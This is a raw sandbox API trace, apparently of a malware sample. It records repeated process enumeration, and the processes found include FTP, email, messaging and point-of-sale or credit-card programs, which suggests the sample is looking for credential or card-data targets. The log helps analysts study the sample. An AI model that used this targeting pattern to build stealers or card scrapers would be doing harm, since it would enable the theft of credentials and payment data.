1 [0118.800] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0118.803] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0118.806] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0118.810] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0118.812] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0118.816] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0118.819] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0118.823] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0118.826] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0118.829] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0118.832] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0118.835] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0118.838] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0118.841] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0118.844] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0118.847] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0118.850] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0118.853] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0118.856] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0118.858] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0118.861] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0118.864] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0118.867] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0118.870] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0118.873] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0118.875] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0118.877] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0118.881] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0118.884] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0118.890] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0118.893] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0118.896] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0118.899] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0118.901] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0118.904] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0118.907] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0118.909] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0118.912] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0118.915] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0118.918] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0118.920] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0118.923] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0118.925] CloseHandle (hObject=0x1e58) returned 1 [0118.926] Sleep (dwMilliseconds=0x64) [0119.027] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20bc [0119.040] Process32First (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.042] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0119.044] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0119.046] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.047] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0119.049] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.051] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0119.053] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0119.055] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0119.058] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.060] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.063] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0119.066] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.068] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.070] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.073] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.076] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.078] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.080] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.082] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0119.085] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0119.087] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0119.090] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.093] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0119.101] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0119.103] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0119.106] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0119.108] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0119.111] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0119.114] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0119.117] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.120] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0119.122] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0119.125] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0119.129] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0119.131] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0119.133] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.135] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0119.138] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0119.140] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0119.143] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, 